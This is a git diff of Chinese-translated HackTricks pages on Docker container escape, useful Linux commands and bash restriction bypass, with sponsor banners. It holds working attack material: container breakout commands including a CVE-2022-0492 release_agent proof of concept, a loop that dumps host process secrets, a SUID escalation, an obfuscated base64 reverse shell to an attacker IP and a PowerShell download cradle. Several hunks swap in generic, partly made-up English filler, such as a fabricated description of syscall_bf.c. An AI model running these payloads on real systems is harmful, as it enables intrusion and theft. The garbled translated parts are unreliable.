* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -26,7 +26,7 @@
* [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS):它还可以**枚举容器**
* [**CDK**](https://github.com/cdk-team/CDK#installationdelivery):这个工具非常**有用,可以枚举您所在的容器,甚至尝试自动逃逸**
* [**amicontained**](https://github.com/genuinetools/amicontained):有用的工具,用于获取容器具有的特权,以便找到逃逸方法
* [**amicontained**](https://github.com/genuinetools/amicontained):有用的工具,用于获取容器的特权,以找到逃逸方法
* [**deepce**](https://github.com/stealthcopter/deepce):用于枚举和逃逸容器的工具
* [**grype**](https://github.com/anchore/grype)获取镜像中安装的软件中包含的CVE
@ -54,10 +54,10 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
```
{% hint style="info" %}
如果 **docker套接字** 位于意外位置,您仍可以使用带有参数 **`-H unix:///path/to/docker.sock`** 的 **`docker`** 命令与其通信。
如果 **docker套接字** 位于意外位置,您仍可以使用带有参数 **`-H unix:///path/to/docker.sock`** 的 **`docker`** 命令与其通信。
{% endhint %}
Docker守护程序也可能在端口上进行监听默认为2375、2376或者在基于Systemd的系统上可以通过Systemd套接字 `fd://` 与Docker守护程序进行通信。
Docker守护程序也可能在端口上进行监听默认为2375、2376或者在基于Systemd的系统上可以通过Systemd套接字 `fd://` 与Docker守护程序通信。
{% hint style="info" %}
此外,还要注意其他高级运行时的运行时套接字:
@ -70,17 +70,17 @@ Docker守护程序也可能在端口上进行监听默认为2375、2376
* ...
{% endhint %}
## 权限滥用逃逸
## 能力滥用逃逸
您应该检查容器的权限,如果具有以下任何权限,则可能可以从中逃逸:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
您应该检查容器的能力,如果具有以下任何一种能力,则可能能够从中逃逸:**`CAP_SYS_ADMIN`**、**`CAP_SYS_PTRACE`**、**`CAP_SYS_MODULE`**、**`DAC_READ_SEARCH`**、**`DAC_OVERRIDE, CAP_SYS_RAWIO`**、**`CAP_SYSLOG`**、**`CAP_NET_RAW`**、**`CAP_NET_ADMIN`**
您可以使用**先前提到的自动工具**或以下方式检查当前容器的权限
您可以使用**先前提到的自动工具**或以下方式检查当前容器的能力
```bash
capsh --print
```
## 从特权容器中逃逸
可以通过使用标志 `--privileged` 或禁用特定防御措施来创建特权容器:
可以通过使用标志`--privileged`或禁用特定防御措施来创建特权容器:
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
@ -92,7 +92,7 @@ capsh --print
- `--cgroupns=host`
- `挂载 /dev`
`--privileged` 标志显著降低了容器的安全性,提供了**无限制的设备访问**并绕过**多项保护措施**。有关详细信息,请参阅有关 `--privileged`完整影响的文档。
`--privileged`标志显著降低了容器的安全性,提供了**无限制的设备访问**并绕过**多项保护措施**。有关详细信息,请参考有关`--privileged`完整影响的文档。
{% content-ref url="../docker-privileged.md" %}
[docker-privileged.md](../docker-privileged.md)
@ -108,7 +108,7 @@ docker run --rm -it --pid=host --privileged ubuntu bash
```
### 特权
仅使用特权标志您可以尝试访问主机的磁盘或尝试滥用release\_agent或其他逃逸来**逃逸**
仅使用特权标志您可以尝试访问主机的磁盘或尝试滥用release\_agent或其他逃逸来进行特权升级
在容器中执行以下绕过测试:
```bash
@ -116,7 +116,7 @@ docker run --rm -it --privileged ubuntu bash
```
#### 挂载磁盘 - Poc1
良好配置的docker容器不会允许类似 **fdisk -l** 这样的命令。然而在错误配置的docker命令中如果指定了 `--privileged``--device=/dev/sda1` 并使用了权限,就有可能获取特权以查看主机驱动器
良好配置的docker容器不会允许类似 **fdisk -l** 这样的命令。然而在错误配置的docker命令中如果指定了 `--privileged``--device=/dev/sda1` 并使用了权限,就有可能获得查看主机驱动器的权限
![](https://bestestredteam.com/content/images/2019/08/image-16.png)
@ -127,7 +127,7 @@ mount /dev/sda1 /mnt/hola
```
### 挂载磁盘 - Poc2
在容器内部,攻击者可尝试通过集群创建的可写hostPath卷进一步访问基础主机操作系统。以下是您可以在容器内部检查的一些常见内容以查看是否可以利用这种攻击向量
在容器内部,攻击者可能会尝试通过集群创建的可写hostPath卷进一步访问基础主机操作系统。以下是您可以在容器内部检查的一些常见内容以查看是否可以利用这种攻击向量
```bash
### Check if You Can Write to a File-system
echo 1 > /proc/sysrq-trigger
@ -184,7 +184,9 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1
# Reads the output
cat /o
```
#### 利用创建的 release_agent 进行特权逃逸 ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2
#### 利用创建的 release_agent 进行特权逃逸([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)- PoC2
{% code title="第二个 PoC" %}
```bash
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
@ -234,9 +236,9 @@ cat /output
[docker-release\_agent-cgroups-escape.md](docker-release\_agent-cgroups-escape.md)
{% endcontent-ref %}
#### 利用 release\_agent 进行特权逃逸,不知道相对路径的情况 - PoC3
#### 滥用 release\_agent 实现特权逃逸,无需知道相对路径 - PoC3
在先前的利用中,**容器在主机文件系统中的绝对路径被公开**。然而,并非总是如此。在你**不知道容器在主机中的绝对路径**的情况下,可以使用这种技术:
在先前的利用中,**容器在主机文件系统中的绝对路径被泄露**。然而,并非总是如此。在你**不知道容器在主机中的绝对路径**的情况下,可以使用这种技术:
{% content-ref url="release_agent-exploit-relative-paths-to-pids.md" %}
[release\_agent-exploit-relative-paths-to-pids.md](release\_agent-exploit-relative-paths-to-pids.md)
@ -330,7 +332,8 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
```
#### 滥用敏感挂载进行特权逃逸
有几个文件可能被挂载,提供了有关底层主机的信息。其中一些甚至可能表明主机在发生某些事件时会执行某些操作(这将允许攻击者从容器中逃逸)。滥用这些文件可能会导致:
有几个文件可能被挂载,提供有关底层主机的信息。其中一些甚至可能指示主机在发生某些事件时要执行的内容(这将允许攻击者从容器中逃脱)。
滥用这些文件可能会导致:
- release\_agent之前已经讨论过
- [binfmt\_misc](sensitive-mounts.md#proc-sys-fs-binfmt\_misc)
@ -346,14 +349,14 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0]
### 任意挂载
在许多情况下,您会发现容器从主机挂载了一些卷。如果此卷配置不正确,您可能能够访问/修改敏感数据:读取密信息更改ssh authorized\_keys...
在许多情况下,您会发现容器从主机挂载了一些卷。如果此卷配置不正确,您可能能够访问/修改敏感数据:读取密信息更改ssh authorized\_keys...
```bash
docker run --rm -it -v /:/host ubuntu bash
```
### 使用2个shell和主机挂载进行权限提升
如果你以**容器内的root身份**访问了一个从主机挂载的文件夹,并且以**非特权用户的身份逃逸到主机**并且对挂载的文件夹有读取权限。\
可以在**容器内挂载的文件夹**中创建一个**bash suid文件**,并且从主机上**执行**以进行权限提升。
如果您以**容器内的root身份**访问具有来自主机挂载的某个文件夹的容器,并且已经**以非特权用户的身份逃逸到主机**并且对挂载的文件夹有读取权限。\
可以在**容器内挂载的文件夹**中创建一个**bash suid文件**,并且**从主机上执行**以进行权限提升。
```bash
cp /bin/bash . #From non priv inside mounted folder
# You need to copy it from the host as the bash binaries might be diferent in the host and in the container
@ -361,14 +364,14 @@ chown root:root bash #From container as root inside mounted folder
chmod 4777 bash #From container as root inside mounted folder
bash -p #From non priv inside mounted folder
```
### 使用2个shell进行特权提升
### 通过2个shell进行特权提升
如果您在容器内部具有**root访问权限**,并且已经**以非特权用户的身份逃逸到主机**则可以滥用这两个shell来**在主机内部提升权限**前提是您在容器内部具有MKNOD功能默认情况下具有如[**此文章中所述**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)。\
有了这样的功能容器内的root用户被允许**创建块设备文件**。设备文件是用于**访问底层硬件和内核模块**的特殊文件。例如,/dev/sda块设备文件允许**读取系统磁盘上的原始数据**。
Docker通过强制执行cgroup策略来**阻止容器内的块设备读/写操作**,以防止块设备被滥用。然而,如果在容器内部**创建块设备**,则可以通过**/proc/PID/root/**目录从容器外部访问该块设备。此访问要求**进程所有者在容器内外相同**。
Docker通过强制执行阻止**块设备读/写操作**的cgroup策略来防止容器内的块设备被滥用。然而,如果在容器内部**创建块设备**,则可以通过**/proc/PID/root/**目录从容器外部访问该块设备。此访问要求**进程所有者在容器内外相同**。
**利用**示例来自于此[**报告**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)
来自此[**文章**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/)的**利用**示例
```bash
# On the container as root
cd /
@ -412,7 +415,7 @@ docker run --rm -it --pid=host ubuntu bash
```
例如,您可以使用类似 `ps auxn` 的命令列出进程,并在命令中搜索敏感细节。
然后,由于您可以**访问主机中每个进程的 /proc/,您可以轻松窃取它们的环境机密**,运行
然后,由于您可以**访问主机中/proc/的每个进程,只需运行**即可窃取它们的环境机密
```bash
for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done
/proc/988058/environ
@ -431,39 +434,39 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp
# You can open the secret filw with:
cat /proc/635813/fd/4
```
您还可以**终止进程并导致拒绝服务**。
你也可以**终止进程并造成拒绝服务**。
{% hint style="warning" %}
如果您以某种方式拥有容器外进程的特权**访问权限**,您可以运行类似`nsenter --target <pid> --all`或`nsenter --target <pid> --mount --net --pid --cgroup`来**以与该进程相同的ns限制**(希望没有)**运行一个shell。**
如果你以某种方式拥有**容器外进程的特权访问权限**,你可以运行类似 `nsenter --target <pid> --all``nsenter --target <pid> --mount --net --pid --cgroup` 来**以与该进程相同的 ns 限制**(希望没有)**运行一个 shell。**
{% endhint %}
### hostNetwork
```
docker run --rm -it --network=host ubuntu bash
```
如果一个容器配置了Docker [主机网络驱动程序(`--network=host`)](https://docs.docker.com/network/host/)那么该容器的网络堆栈与Docker主机不是隔离的容器与主机共享网络命名空间并且该容器不会被分配自己的IP地址。换句话说**容器将所有服务直接绑定到主机的IP**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用共享接口 `tcpdump -i eth0`
如果一个容器配置了Docker [主机网络驱动(`--network=host`)](https://docs.docker.com/network/host/)那么该容器的网络堆栈与Docker主机不是隔离的容器与主机共享网络命名空间并且该容器不会被分配自己的IP地址。换句话说**容器将所有服务直接绑定到主机的IP**。此外,容器可以**拦截主机发送和接收的所有网络流量**,使用共享接口`tcpdump -i eth0`。
例如,您可以使用这个方法**嗅探甚至欺骗**主机和元数据实例之间的流量。
就像以下示例中所示:
* [Writeup: 如何联系 Google SRE: 在云 SQL 中放置一个 shell](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/)
* [元数据服务中间人攻击允许提EKS / GKE](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
* [元数据服务中间人攻击允许提升为 root 权限 (EKS / GKE)](https://blog.champtar.fr/Metadata\_MITM\_root\_EKS\_GKE/)
您还可以访问主机内部绑定到**本地主机**的网络服务,甚至访问**节点的元数据权限**(这可能与容器可以访问的权限不同)。
您还可以访问主机内部绑定到**本地主机**的网络服务,甚至访问节点的**元数据权限**(这可能与容器可以访问的权限不同)。
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
通过`hostIPC=true`您可以访问主机的进程间通信IPC资源例如在`/dev/shm`中的**共享内存**。这允许读取/写入其他主机或容器进程使用的相同IPC资源。使用`ipcs`进一步检查这些IPC机制。
通过`hostIPC=true`您可以访问主机的进程间通信IPC资源例如在`/dev/shm`中的**共享内存**。这允许读取/写入同一IPC资源被其他主机或容器进程使用。使用`ipcs`进一步检查这些IPC机制。
* **检查/dev/shm** - 查看此共享内存位置中的任何文件:`ls -la /dev/shm`
* **检查现有IPC设施** - 您可以使用`/usr/bin/ipcs`检查是否正在使用任何IPC设施。使用以下命令检查`ipcs -a`
### 恢复权限
如果系统调用**`unshare`**没有被禁止,您可以运行以下命令恢复所有权限:
如果系统调用**`unshare`**没有被禁止,您可以通过运行以下命令恢复所有权限:
```bash
unshare -UrmCpf bash
# Check them with
@ -473,21 +476,21 @@ cat /proc/self/status | grep CapEff
在[https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/)中解释的第二种技术表明,您可以滥用用户命名空间中的绑定挂载,以影响主机内的文件(在该特定情况下,删除文件)。
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## CVEs
## CVE
### Runc漏洞利用CVE-2019-5736
如果您可以以root身份执行`docker exec`可能使用sudo您可以尝试通过滥用CVE-2019-5736漏洞利用[在此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))来提升特权。这种技术基本上会**覆盖**来自**容器**的**主机**的_**/bin/sh**_二进制文件因此任何执行docker exec的人都可能触发有效载荷。
如果您可以以root身份执行`docker exec`可能使用sudo您可以尝试通过滥用CVE-2019-5736漏洞利用[在此处](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go))来提升特权。该技术基本上将**从容器中**的**主机****覆盖** _**/bin/sh**_ 二进制文件因此任何执行docker exec的人都可能触发有效载荷。
相应地更改有效载荷,并使用`go build main.go`构建main.go。生成的二进制文件应放置在docker容器中以供执行。\
执行时,一旦显示`[+] Overwritten /bin/sh successfully`,您需要从主机机器上执行以下操作:
执行时,一旦显示`[+] Overwritten /bin/sh successfully`,您需要从主机上执行以下操作:
`docker exec -it <container-name> /bin/sh`
@ -552,35 +555,7 @@ cat /proc/self/status | grep CapEff
```
{% endtab %}
{% tab title="syscall_bf.c" %}
## Docker Breakout Privilege Escalation
### Description
This technique demonstrates how an attacker can escape from a Docker container to the host system by exploiting a vulnerability in the Docker daemon. By escalating privileges, the attacker can gain root access to the host system.
### Usage
Compile the `syscall_bf.c` code and run the executable within a Docker container. This will trigger the privilege escalation and allow the attacker to break out of the container.
### Detection
Monitor Docker daemon logs for suspicious activities, such as unauthorized access attempts or privilege escalation attempts. Regularly update Docker to patch known vulnerabilities that could be exploited for privilege escalation.
### Prevention
Implement least privilege principles when configuring Docker containers. Avoid running containers with unnecessary privileges and regularly update Docker to mitigate known vulnerabilities. Additionally, monitor Docker daemon logs for any unusual activities that could indicate a privilege escalation attempt.
### References
- [Docker Security](https://docs.docker.com/engine/security/)
- [Docker Security Best Practices](https://docs.docker.com/engine/security/security/)
- [Docker Bench for Security](https://github.com/docker/docker-bench-security)
### Disclaimer
This technique is for educational purposes only. Do not use it for illegal activities.
{% tab title="syscall_bf.c" %}syscall_bf.c{% endtab %}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -644,7 +619,7 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
* [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

View file

@ -1,6 +1,6 @@
# 有用的Linux命令
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)来轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -17,7 +17,7 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -141,15 +141,15 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
# List files inside zip
7z l file.zip
```
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Windows的Bash
## 适用于Windows的Bash
```bash
#Base64 for Windows
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
@ -171,35 +171,7 @@ i686-mingw32msvc-gcc -o executable useradd.c
```
## Greps
### Grep for a string in all files in a directory
```bash
grep -r "search_term" /path/to/directory
```
### Grep for a string in all files in the current directory
```bash
grep -r "search_term" .
```
### Grep for a string in all files in the current directory (case insensitive)
```bash
grep -ri "search_term" .
```
### Grep for a string in all files in a directory and show line numbers
```bash
grep -rn "search_term" /path/to/directory
```
### Grep for a string in all files in a directory and show line numbers (case insensitive)
```bash
grep -rni "search_term" /path/to/directory
```
## Greps
```bash
#Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -324,25 +296,7 @@ for j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do ech
```
## Iptables
### iptables是一个用于配置IPv4和IPv6数据包过滤规则的工具。它可以用于设置、维护和检查防火墙规则以保护Linux系统免受网络攻击。iptables命令的基本语法如下
```bash
iptables -option chain rule
```
### 一些常用的iptables命令选项包括
- `-A`:向规则链中添加规则
- `-D`:从规则链中删除规则
- `-L`:列出规则链中的规则
- `-P`:设置规则链的默认策略
- `-F`:清除规则链中的所有规则
### 例如,要列出所有防火墙规则,可以使用以下命令:
```bash
iptables -L
```
### iptables是一个用于配置IPv4数据包过滤规则的工具。它是Linux系统中最常用的防火墙工具之一。iptables命令允许你配置防火墙规则控制数据包的流动从而增强系统的安全性。iptables命令非常强大且灵活可以根据需要配置各种规则来保护系统免受网络攻击。
```bash
#Delete curent rules and chains
iptables --flush
@ -375,19 +329,19 @@ iptables -P OUTPUT ACCEPT
```
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\

View file

@ -8,13 +8,13 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
@ -30,7 +30,7 @@
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h
```
### 简短的反弹Shell
### 短反弹 shell
```bash
#Trick from Dikline
#Get a rev shell with
@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|
#Then get the out of the rev shell executing inside of it:
exec >&0
```
### 绕过路径和禁
### 绕过路径和禁
```bash
# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
@ -156,15 +156,13 @@ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
```
### 从环境变量中获取字符
- **English**
在某些情况下,您可能无法直接执行命令或访问文件,但可以访问环境变量。您可以使用以下命令从环境变量中提取字符:
```bash
$ echo ${!A*}
echo ${PATH:0:1}
```
- **Chinese**
```bash
$ echo ${!A*}
```
这将输出环境变量`PATH`的第一个字符。您可以更改`0`和`1`的值来提取不同位置的字符。
```bash
echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/
@ -175,7 +173,7 @@ echo ${PATH:0:1} #/
### 内建命令
如果您无法执行外部函数,只能访问**有限的内建函数来获RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自[**devploit**](https://twitter.com/devploit)。\
如果您无法执行外部函数,只能访问**有限的内建函数来获RCE**,那么有一些巧妙的技巧可以做到。通常您**无法使用所有**的**内建函数**,因此您应该**了解所有选项**以尝试绕过监狱。灵感来自[**devploit**](https://twitter.com/devploit)。\
首先检查所有的[**shell内建命令**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**。** 然后这里有一些**建议**
```bash
# Get list of builtins
@ -292,7 +290,7 @@ ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder
```
### 4个字符的RCE
### 用4个字符进行RCE
```bash
# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
@ -329,7 +327,7 @@ ln /f*
```
## 只读/Noexec/Distroless绕过
如果你在一个具有**只读和noexec保护**甚至在一个distroless容器中仍然有方法可以**执行任意二进制文件甚至是一个shell**
如果你在一个具有**只读和noexec保护**甚至在一个distroless容器中仍然有方法可以**执行任意二进制文件甚至是一个shell:**
{% content-ref url="../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](../bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/)
@ -348,7 +346,7 @@ ln /f*
* [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0)
* [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secjuice.com/web-application-firewall-waf-evasion/)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
@ -358,14 +356,14 @@ ln /f*
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
支持HackTricks的其他方式
